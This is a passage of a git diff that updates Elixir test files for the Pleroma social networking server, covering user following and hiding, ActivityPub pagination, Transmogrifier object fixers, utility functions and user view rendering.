followed_one = User.get_cached_by_ap_id(followed_one.ap_id)
|
||||
followed_two = User.get_cached_by_ap_id(followed_two.ap_id)
|
||||
|
|
@ -975,7 +975,7 @@ defmodule Pleroma.UserTest do
|
|||
info = User.get_cached_user_info(user2)
|
||||
|
||||
assert info.follower_count == 0
|
||||
assert {:ok, []} = User.get_followers(user2)
|
||||
assert [] = User.get_followers(user2)
|
||||
end
|
||||
|
||||
test "hide a user from friends" do
|
||||
|
|
@ -991,7 +991,7 @@ defmodule Pleroma.UserTest do
|
|||
|
||||
assert info.following_count == 0
|
||||
assert User.following_count(user2) == 0
|
||||
assert {:ok, []} = User.get_friends(user2)
|
||||
assert [] = User.get_friends(user2)
|
||||
end
|
||||
|
||||
test "hide a user's statuses from timelines and notifications" do
|
||||
|
|
@ -1034,7 +1034,7 @@ defmodule Pleroma.UserTest do
|
|||
test ".delete_user_activities deletes all create activities", %{user: user} do
|
||||
{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"})
|
||||
|
||||
{:ok, _} = User.delete_user_activities(user)
|
||||
User.delete_user_activities(user)
|
||||
|
||||
# TODO: Remove favorites, repeats, delete activities.
|
||||
refute Activity.get_by_id(activity.id)
|
||||
|
|
@ -1294,9 +1294,9 @@ defmodule Pleroma.UserTest do
|
|||
bio = "A.k.a. @nick@domain.com"
|
||||
|
||||
expected_text =
|
||||
"A.k.a. <span class='h-card'><a data-user='#{remote_user.id}' class='u-url mention' href='#{
|
||||
~s(A.k.a. <span class="h-card"><a data-user="#{remote_user.id}" class="u-url mention" href="#{
|
||||
remote_user.ap_id
|
||||
}'>@<span>nick@domain.com</span></a></span>"
|
||||
}" rel="ugc">@<span>nick@domain.com</span></a></span>)
|
||||
|
||||
assert expected_text == User.parse_bio(bio, user)
|
||||
end
|
||||
|
|
@ -1690,4 +1690,39 @@ defmodule Pleroma.UserTest do
|
|||
assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party")
|
||||
end
|
||||
end
|
||||
|
||||
describe "set_password_reset_pending/2" do
|
||||
setup do
|
||||
[user: insert(:user)]
|
||||
end
|
||||
|
||||
test "sets password_reset_pending to true", %{user: user} do
|
||||
%{password_reset_pending: password_reset_pending} = user.info
|
||||
|
||||
refute password_reset_pending
|
||||
|
||||
{:ok, %{info: %{password_reset_pending: password_reset_pending}}} =
|
||||
User.force_password_reset(user)
|
||||
|
||||
assert password_reset_pending
|
||||
end
|
||||
end
|
||||
|
||||
test "change_info/2" do
|
||||
user = insert(:user)
|
||||
assert user.info.hide_follows == false
|
||||
|
||||
changeset = User.change_info(user, &User.Info.profile_update(&1, %{hide_follows: true}))
|
||||
assert changeset.changes.info.changes.hide_follows == true
|
||||
end
|
||||
|
||||
test "update_info/2" do
|
||||
user = insert(:user)
|
||||
assert user.info.hide_follows == false
|
||||
|
||||
assert {:ok, _} = User.update_info(user, &User.Info.profile_update(&1, %{hide_follows: true}))
|
||||
|
||||
assert %{info: %{hide_follows: true}} = Repo.get(User, user.id)
|
||||
assert {:ok, %{info: %{hide_follows: true}}} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|
||||
|
|
@ -479,7 +479,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|
|||
conn
|
||||
|> assign(:user, user)
|
||||
|> put_req_header("accept", "application/activity+json")
|
||||
|> get("/users/#{user.nickname}/inbox")
|
||||
|> get("/users/#{user.nickname}/inbox?page=true")
|
||||
|
||||
assert response(conn, 200) =~ note_object.data["content"]
|
||||
end
|
||||
|
|
@ -567,7 +567,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|
|||
conn =
|
||||
conn
|
||||
|> put_req_header("accept", "application/activity+json")
|
||||
|> get("/users/#{user.nickname}/outbox")
|
||||
|> get("/users/#{user.nickname}/outbox?page=true")
|
||||
|
||||
assert response(conn, 200) =~ note_object.data["content"]
|
||||
end
|
||||
|
|
@ -579,7 +579,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|
|||
conn =
|
||||
conn
|
||||
|> put_req_header("accept", "application/activity+json")
|
||||
|> get("/users/#{user.nickname}/outbox")
|
||||
|> get("/users/#{user.nickname}/outbox?page=true")
|
||||
|
||||
assert response(conn, 200) =~ announce_activity.data["object"]
|
||||
end
|
||||
|
|
|
|||
|
|
@ -647,6 +647,21 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
|
|||
assert last == last_expected
|
||||
end
|
||||
|
||||
test "paginates via offset/limit" do
|
||||
_first_activities = ActivityBuilder.insert_list(10)
|
||||
activities = ActivityBuilder.insert_list(10)
|
||||
_later_activities = ActivityBuilder.insert_list(10)
|
||||
first_expected = List.first(activities)
|
||||
|
||||
activities =
|
||||
ActivityPub.fetch_public_activities(%{"page" => "2", "page_size" => "20"}, :offset)
|
||||
|
||||
first = List.first(activities)
|
||||
|
||||
assert length(activities) == 20
|
||||
assert first == first_expected
|
||||
end
|
||||
|
||||
test "doesn't return reblogs for users for whom reblogs have been muted" do
|
||||
activity = insert(:note_activity)
|
||||
user = insert(:user)
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.ActivityPub.RelayTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
|
||||
|
|
@ -1455,4 +1455,271 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
|
|||
refute recipient.follower_address in fixed_object["to"]
|
||||
end
|
||||
end
|
||||
|
||||
describe "fix_summary/1" do
|
||||
test "returns fixed object" do
|
||||
assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""}
|
||||
assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"}
|
||||
assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""}
|
||||
end
|
||||
end
|
||||
|
||||
describe "fix_in_reply_to/2" do
|
||||
clear_config([:instance, :federation_incoming_replies_max_depth])
|
||||
|
||||
setup do
|
||||
data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
|
||||
[data: data]
|
||||
end
|
||||
|
||||
test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do
|
||||
assert Transmogrifier.fix_in_reply_to(data) == data
|
||||
end
|
||||
|
||||
test "returns object with inReplyToAtomUri when denied incoming reply", %{data: data} do
|
||||
Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0)
|
||||
|
||||
object_with_reply =
|
||||
Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873")
|
||||
|
||||
modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
|
||||
assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873"
|
||||
assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
|
||||
|
||||
object_with_reply =
|
||||
Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"})
|
||||
|
||||
modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
|
||||
assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"}
|
||||
assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
|
||||
|
||||
object_with_reply =
|
||||
Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"])
|
||||
|
||||
modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
|
||||
assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"]
|
||||
assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
|
||||
|
||||
object_with_reply = Map.put(data["object"], "inReplyTo", [])
|
||||
modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
|
||||
assert modified_object["inReplyTo"] == []
|
||||
assert modified_object["inReplyToAtomUri"] == ""
|
||||
end
|
||||
|
||||
test "returns modified object when allowed incoming reply", %{data: data} do
|
||||
object_with_reply =
|
||||
Map.put(
|
||||
data["object"],
|
||||
"inReplyTo",
|
||||
"https://shitposter.club/notice/2827873"
|
||||
)
|
||||
|
||||
Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5)
|
||||
modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
|
||||
|
||||
assert modified_object["inReplyTo"] ==
|
||||
"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
|
||||
|
||||
assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
|
||||
|
||||
assert modified_object["conversation"] ==
|
||||
"tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26"
|
||||
|
||||
assert modified_object["context"] ==
|
||||
"tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26"
|
||||
end
|
||||
end
|
||||
|
||||
describe "fix_url/1" do
|
||||
test "fixes data for object when url is map" do
|
||||
object = %{
|
||||
"url" => %{
|
||||
"type" => "Link",
|
||||
"mimeType" => "video/mp4",
|
||||
"href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
|
||||
}
|
||||
}
|
||||
|
||||
assert Transmogrifier.fix_url(object) == %{
|
||||
"url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
|
||||
}
|
||||
end
|
||||
|
||||
test "fixes data for video object" do
|
||||
object = %{
|
||||
"type" => "Video",
|
||||
"url" => [
|
||||
%{
|
||||
"type" => "Link",
|
||||
"mimeType" => "video/mp4",
|
||||
"href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
|
||||
},
|
||||
%{
|
||||
"type" => "Link",
|
||||
"mimeType" => "video/mp4",
|
||||
"href" => "https://peertube46fb-ad81-2d4c2d1630e3-240.mp4"
|
||||
},
|
||||
%{
|
||||
"type" => "Link",
|
||||
"mimeType" => "text/html",
|
||||
"href" => "https://peertube.-2d4c2d1630e3"
|
||||
},
|
||||
%{
|
||||
"type" => "Link",
|
||||
"mimeType" => "text/html",
|
||||
"href" => "https://peertube.-2d4c2d16377-42"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
assert Transmogrifier.fix_url(object) == %{
|
||||
"attachment" => [
|
||||
%{
|
||||
"href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4",
|
||||
"mimeType" => "video/mp4",
|
||||
"type" => "Link"
|
||||
}
|
||||
],
|
||||
"type" => "Video",
|
||||
"url" => "https://peertube.-2d4c2d1630e3"
|
||||
}
|
||||
end
|
||||
|
||||
test "fixes url for not Video object" do
|
||||
object = %{
|
||||
"type" => "Text",
|
||||
"url" => [
|
||||
%{
|
||||
"type" => "Link",
|
||||
"mimeType" => "text/html",
|
||||
"href" => "https://peertube.-2d4c2d1630e3"
|
||||
},
|
||||
%{
|
||||
"type" => "Link",
|
||||
"mimeType" => "text/html",
|
||||
"href" => "https://peertube.-2d4c2d16377-42"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
assert Transmogrifier.fix_url(object) == %{
|
||||
"type" => "Text",
|
||||
"url" => "https://peertube.-2d4c2d1630e3"
|
||||
}
|
||||
|
||||
assert Transmogrifier.fix_url(%{"type" => "Text", "url" => []}) == %{
|
||||
"type" => "Text",
|
||||
"url" => ""
|
||||
}
|
||||
end
|
||||
|
||||
test "retunrs not modified object" do
|
||||
assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"}
|
||||
end
|
||||
end
|
||||
|
||||
describe "get_obj_helper/2" do
|
||||
test "returns nil when cannot normalize object" do
|
||||
refute Transmogrifier.get_obj_helper("test-obj-id")
|
||||
end
|
||||
|
||||
test "returns {:ok, %Object{}} for success case" do
|
||||
assert {:ok, %Object{}} =
|
||||
Transmogrifier.get_obj_helper("https://shitposter.club/notice/2827873")
|
||||
end
|
||||
end
|
||||
|
||||
describe "fix_attachments/1" do
|
||||
test "returns not modified object" do
|
||||
data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
|
||||
assert Transmogrifier.fix_attachments(data) == data
|
||||
end
|
||||
|
||||
test "returns modified object when attachment is map" do
|
||||
assert Transmogrifier.fix_attachments(%{
|
||||
"attachment" => %{
|
||||
"mediaType" => "video/mp4",
|
||||
"url" => "https://peertube.moe/stat-480.mp4"
|
||||
}
|
||||
}) == %{
|
||||
"attachment" => [
|
||||
%{
|
||||
"mediaType" => "video/mp4",
|
||||
"url" => [
|
||||
%{
|
||||
"href" => "https://peertube.moe/stat-480.mp4",
|
||||
"mediaType" => "video/mp4",
|
||||
"type" => "Link"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
end
|
||||
|
||||
test "returns modified object when attachment is list" do
|
||||
assert Transmogrifier.fix_attachments(%{
|
||||
"attachment" => [
|
||||
%{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"},
|
||||
%{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"}
|
||||
]
|
||||
}) == %{
|
||||
"attachment" => [
|
||||
%{
|
||||
"mediaType" => "video/mp4",
|
||||
"url" => [
|
||||
%{
|
||||
"href" => "https://pe.er/stat-480.mp4",
|
||||
"mediaType" => "video/mp4",
|
||||
"type" => "Link"
|
||||
}
|
||||
]
|
||||
},
|
||||
%{
|
||||
"href" => "https://pe.er/stat-480.mp4",
|
||||
"mediaType" => "video/mp4",
|
||||
"mimeType" => "video/mp4",
|
||||
"url" => [
|
||||
%{
|
||||
"href" => "https://pe.er/stat-480.mp4",
|
||||
"mediaType" => "video/mp4",
|
||||
"type" => "Link"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
describe "fix_emoji/1" do
|
||||
test "returns not modified object when object not contains tags" do
|
||||
data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
|
||||
assert Transmogrifier.fix_emoji(data) == data
|
||||
end
|
||||
|
||||
test "returns object with emoji when object contains list tags" do
|
||||
assert Transmogrifier.fix_emoji(%{
|
||||
"tag" => [
|
||||
%{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}},
|
||||
%{"type" => "Hashtag"}
|
||||
]
|
||||
}) == %{
|
||||
"emoji" => %{"bib" => "/test"},
|
||||
"tag" => [
|
||||
%{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"},
|
||||
%{"type" => "Hashtag"}
|
||||
]
|
||||
}
|
||||
end
|
||||
|
||||
test "returns object with emoji when object contains map tag" do
|
||||
assert Transmogrifier.fix_emoji(%{
|
||||
"tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}
|
||||
}) == %{
|
||||
"emoji" => %{"bib" => "/test"},
|
||||
"tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -87,6 +87,18 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
|
|||
|
||||
assert Utils.determine_explicit_mentions(object) == []
|
||||
end
|
||||
|
||||
test "works with an object has tags as map" do
|
||||
object = %{
|
||||
"tag" => %{
|
||||
"type" => "Mention",
|
||||
"href" => "https://example.com/~alyssa",
|
||||
"name" => "Alyssa P. Hacker"
|
||||
}
|
||||
}
|
||||
|
||||
assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"]
|
||||
end
|
||||
end
|
||||
|
||||
describe "make_unlike_data/3" do
|
||||
|
|
@ -300,8 +312,8 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
|
|||
{:ok, follow_activity_two} =
|
||||
Utils.update_follow_state_for_all(follow_activity_two, "accept")
|
||||
|
||||
assert Repo.get(Activity, follow_activity.id).data["state"] == "accept"
|
||||
assert Repo.get(Activity, follow_activity_two.id).data["state"] == "accept"
|
||||
assert refresh_record(follow_activity).data["state"] == "accept"
|
||||
assert refresh_record(follow_activity_two).data["state"] == "accept"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -323,8 +335,8 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
|
|||
|
||||
{:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject")
|
||||
|
||||
assert Repo.get(Activity, follow_activity.id).data["state"] == "pending"
|
||||
assert Repo.get(Activity, follow_activity_two.id).data["state"] == "reject"
|
||||
assert refresh_record(follow_activity).data["state"] == "pending"
|
||||
assert refresh_record(follow_activity_two).data["state"] == "reject"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -401,4 +413,216 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
|
|||
assert ^like_activity = Utils.get_existing_like(user.ap_id, object)
|
||||
end
|
||||
end
|
||||
|
||||
describe "get_get_existing_announce/2" do
|
||||
test "returns nil if announce not found" do
|
||||
actor = insert(:user)
|
||||
refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}})
|
||||
end
|
||||
|
||||
test "fetches existing announce" do
|
||||
note_activity = insert(:note_activity)
|
||||
assert object = Object.normalize(note_activity)
|
||||
actor = insert(:user)
|
||||
|
||||
{:ok, announce, _object} = ActivityPub.announce(actor, object)
|
||||
assert Utils.get_existing_announce(actor.ap_id, object) == announce
|
||||
end
|
||||
end
|
||||
|
||||
describe "fetch_latest_block/2" do
|
||||
test "fetches last block activities" do
|
||||
user1 = insert(:user)
|
||||
user2 = insert(:user)
|
||||
|
||||
assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2)
|
||||
assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2)
|
||||
assert {:ok, %Activity{} = activity} = ActivityPub.block(user1, user2)
|
||||
|
||||
assert Utils.fetch_latest_block(user1, user2) == activity
|
||||
end
|
||||
end
|
||||
|
||||
describe "recipient_in_message/3" do
|
||||
test "returns true when recipient in `to`" do
|
||||
recipient = insert(:user)
|
||||
actor = insert(:user)
|
||||
assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id})
|
||||
|
||||
assert Utils.recipient_in_message(
|
||||
recipient,
|
||||
actor,
|
||||
%{"to" => [recipient.ap_id], "cc" => ""}
|
||||
)
|
||||
end
|
||||
|
||||
test "returns true when recipient in `cc`" do
|
||||
recipient = insert(:user)
|
||||
actor = insert(:user)
|
||||
assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id})
|
||||
|
||||
assert Utils.recipient_in_message(
|
||||
recipient,
|
||||
actor,
|
||||
%{"cc" => [recipient.ap_id], "to" => ""}
|
||||
)
|
||||
end
|
||||
|
||||
test "returns true when recipient in `bto`" do
|
||||
recipient = insert(:user)
|
||||
actor = insert(:user)
|
||||
assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id})
|
||||
|
||||
assert Utils.recipient_in_message(
|
||||
recipient,
|
||||
actor,
|
||||
%{"bcc" => "", "bto" => [recipient.ap_id]}
|
||||
)
|
||||
end
|
||||
|
||||
test "returns true when recipient in `bcc`" do
|
||||
recipient = insert(:user)
|
||||
actor = insert(:user)
|
||||
assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id})
|
||||
|
||||
assert Utils.recipient_in_message(
|
||||
recipient,
|
||||
actor,
|
||||
%{"bto" => "", "bcc" => [recipient.ap_id]}
|
||||
)
|
||||
end
|
||||
|
||||
test "returns true when message without addresses fields" do
|
||||
recipient = insert(:user)
|
||||
actor = insert(:user)
|
||||
assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id})
|
||||
|
||||
assert Utils.recipient_in_message(
|
||||
recipient,
|
||||
actor,
|
||||
%{"btod" => "", "bccc" => [recipient.ap_id]}
|
||||
)
|
||||
end
|
||||
|
||||
test "returns false" do
|
||||
recipient = insert(:user)
|
||||
actor = insert(:user)
|
||||
refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"})
|
||||
end
|
||||
end
|
||||
|
||||
describe "lazy_put_activity_defaults/2" do
|
||||
test "returns map with id and published data" do
|
||||
note_activity = insert(:note_activity)
|
||||
object = Object.normalize(note_activity)
|
||||
res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]})
|
||||
assert res["context"] == object.data["id"]
|
||||
assert res["context_id"] == object.id
|
||||
assert res["id"]
|
||||
assert res["published"]
|
||||
end
|
||||
|
||||
test "returns map with fake id and published data" do
|
||||
assert %{
|
||||
"context" => "pleroma:fakecontext",
|
||||
"context_id" => -1,
|
||||
"id" => "pleroma:fakeid",
|
||||
"published" => _
|
||||
} = Utils.lazy_put_activity_defaults(%{}, true)
|
||||
end
|
||||
|
||||
test "returns activity data with object" do
|
||||
note_activity = insert(:note_activity)
|
||||
object = Object.normalize(note_activity)
|
||||
|
||||
res =
|
||||
Utils.lazy_put_activity_defaults(%{
|
||||
"context" => object.data["id"],
|
||||
"object" => %{}
|
||||
})
|
||||
|
||||
assert res["context"] == object.data["id"]
|
||||
assert res["context_id"] == object.id
|
||||
assert res["id"]
|
||||
assert res["published"]
|
||||
assert res["object"]["id"]
|
||||
assert res["object"]["published"]
|
||||
assert res["object"]["context"] == object.data["id"]
|
||||
assert res["object"]["context_id"] == object.id
|
||||
end
|
||||
end
|
||||
|
||||
describe "make_flag_data" do
|
||||
test "returns empty map when params is invalid" do
|
||||
assert Utils.make_flag_data(%{}, %{}) == %{}
|
||||
end
|
||||
|
||||
test "returns map with Flag object" do
|
||||
reporter = insert(:user)
|
||||
target_account = insert(:user)
|
||||
{:ok, activity} = CommonAPI.post(target_account, %{"status" => "foobar"})
|
||||
context = Utils.generate_context_id()
|
||||
content = "foobar"
|
||||
|
||||
target_ap_id = target_account.ap_id
|
||||
activity_ap_id = activity.data["id"]
|
||||
|
||||
res =
|
||||
Utils.make_flag_data(
|
||||
%{
|
||||
actor: reporter,
|
||||
context: context,
|
||||
account: target_account,
|
||||
statuses: [%{"id" => activity.data["id"]}],
|
||||
content: content
|
||||
},
|
||||
%{}
|
||||
)
|
||||
|
||||
assert %{
|
||||
"type" => "Flag",
|
||||
"content" => ^content,
|
||||
"context" => ^context,
|
||||
"object" => [^target_ap_id, ^activity_ap_id],
|
||||
"state" => "open"
|
||||
} = res
|
||||
end
|
||||
end
|
||||
|
||||
describe "add_announce_to_object/2" do
|
||||
test "adds actor to announcement" do
|
||||
user = insert(:user)
|
||||
object = insert(:note)
|
||||
|
||||
activity =
|
||||
insert(:note_activity,
|
||||
data: %{
|
||||
"actor" => user.ap_id,
|
||||
"cc" => [Pleroma.Constants.as_public()]
|
||||
}
|
||||
)
|
||||
|
||||
assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object)
|
||||
assert updated_object.data["announcements"] == [user.ap_id]
|
||||
assert updated_object.data["announcement_count"] == 1
|
||||
end
|
||||
end
|
||||
|
||||
describe "remove_announce_from_object/2" do
|
||||
test "removes actor from announcements" do
|
||||
user = insert(:user)
|
||||
user2 = insert(:user)
|
||||
|
||||
object =
|
||||
insert(:note,
|
||||
data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2}
|
||||
)
|
||||
|
||||
activity = insert(:note_activity, data: %{"actor" => user.ap_id})
|
||||
|
||||
assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object)
|
||||
assert updated_object.data["announcements"] == [user2.ap_id]
|
||||
assert updated_object.data["announcement_count"] == 1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -37,6 +37,22 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
|
|||
} = UserView.render("user.json", %{user: user})
|
||||
end
|
||||
|
||||
test "Renders with emoji tags" do
|
||||
user = insert(:user, %{info: %{emoji: [%{"bib" => "/test"}]}})
|
||||
|
||||
assert %{
|
||||
"tag" => [
|
||||
%{
|
||||
"icon" => %{"type" => "Image", "url" => "/test"},
|
||||
"id" => "/test",
|
||||
"name" => ":bib:",
|
||||
"type" => "Emoji",
|
||||
"updated" => "1970-01-01T00:00:00Z"
|
||||
}
|
||||
]
|
||||
} = UserView.render("user.json", %{user: user})
|
||||
end
|
||||
|
||||
test "Does not add an avatar image if the user hasn't set one" do
|
||||
user = insert(:user)
|
||||
{:ok, user} = User.ensure_keys_present(user)
|
||||
|
|
@ -105,10 +121,20 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
|
|||
other_user = insert(:user)
|
||||
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
|
||||
assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
|
||||
info = Map.put(user.info, :hide_followers, true)
|
||||
info = Map.merge(user.info, %{hide_followers_count: true, hide_followers: true})
|
||||
user = Map.put(user, :info, info)
|
||||
assert %{"totalItems" => 0} = UserView.render("followers.json", %{user: user})
|
||||
end
|
||||
|
||||
test "sets correct totalItems when followers are hidden but the follower counter is not" do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
|
||||
assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
|
||||
info = Map.merge(user.info, %{hide_followers_count: false, hide_followers: true})
|
||||
user = Map.put(user, :info, info)
|
||||
assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
|
||||
end
|
||||
end
|
||||
|
||||
describe "following" do
|
||||
|
|
@ -117,9 +143,50 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
|
|||
other_user = insert(:user)
|
||||
{:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
|
||||
assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
|
||||
info = Map.put(user.info, :hide_follows, true)
|
||||
info = Map.merge(user.info, %{hide_follows_count: true, hide_follows: true})
|
||||
user = Map.put(user, :info, info)
|
||||
assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user})
|
||||
end
|
||||
|
||||
test "sets correct totalItems when follows are hidden but the follow counter is not" do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
{:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
|
||||
assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
|
||||
info = Map.merge(user.info, %{hide_follows_count: false, hide_follows: true})
|
||||
user = Map.put(user, :info, info)
|
||||
assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
|
||||
end
|
||||
end
|
||||
|
||||
test "activity collection page aginates correctly" do
|
||||
user = insert(:user)
|
||||
|
||||
posts =
|
||||
for i <- 0..25 do
|
||||
{:ok, activity} = CommonAPI.post(user, %{"status" => "post #{i}"})
|
||||
activity
|
||||
end
|
||||
|
||||
# outbox sorts chronologically, newest first, with ten per page
|
||||
posts = Enum.reverse(posts)
|
||||
|
||||
%{"next" => next_url} =
|
||||
UserView.render("activity_collection_page.json", %{
|
||||
iri: "#{user.ap_id}/outbox",
|
||||
activities: Enum.take(posts, 10)
|
||||
})
|
||||
|
||||
next_id = Enum.at(posts, 9).id
|
||||
assert next_url =~ next_id
|
||||
|
||||
%{"next" => next_url} =
|
||||
UserView.render("activity_collection_page.json", %{
|
||||
iri: "#{user.ap_id}/outbox",
|
||||
activities: Enum.take(Enum.drop(posts, 10), 10)
|
||||
})
|
||||
|
||||
next_id = Enum.at(posts, 19).id
|
||||
assert next_url =~ next_id
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -1,14 +1,16 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
||||
use Pleroma.Web.ConnCase
|
||||
use Oban.Testing, repo: Pleroma.Repo
|
||||
|
||||
alias Pleroma.Activity
|
||||
alias Pleroma.HTML
|
||||
alias Pleroma.ModerationLog
|
||||
alias Pleroma.Repo
|
||||
alias Pleroma.Tests.ObanHelpers
|
||||
alias Pleroma.User
|
||||
alias Pleroma.UserInviteToken
|
||||
alias Pleroma.Web.CommonAPI
|
||||
|
|
@ -574,18 +576,6 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
end
|
||||
end
|
||||
|
||||
test "/api/pleroma/admin/users/invite_token" do
|
||||
admin = insert(:user, info: %{is_admin: true})
|
||||
|
||||
conn =
|
||||
build_conn()
|
||||
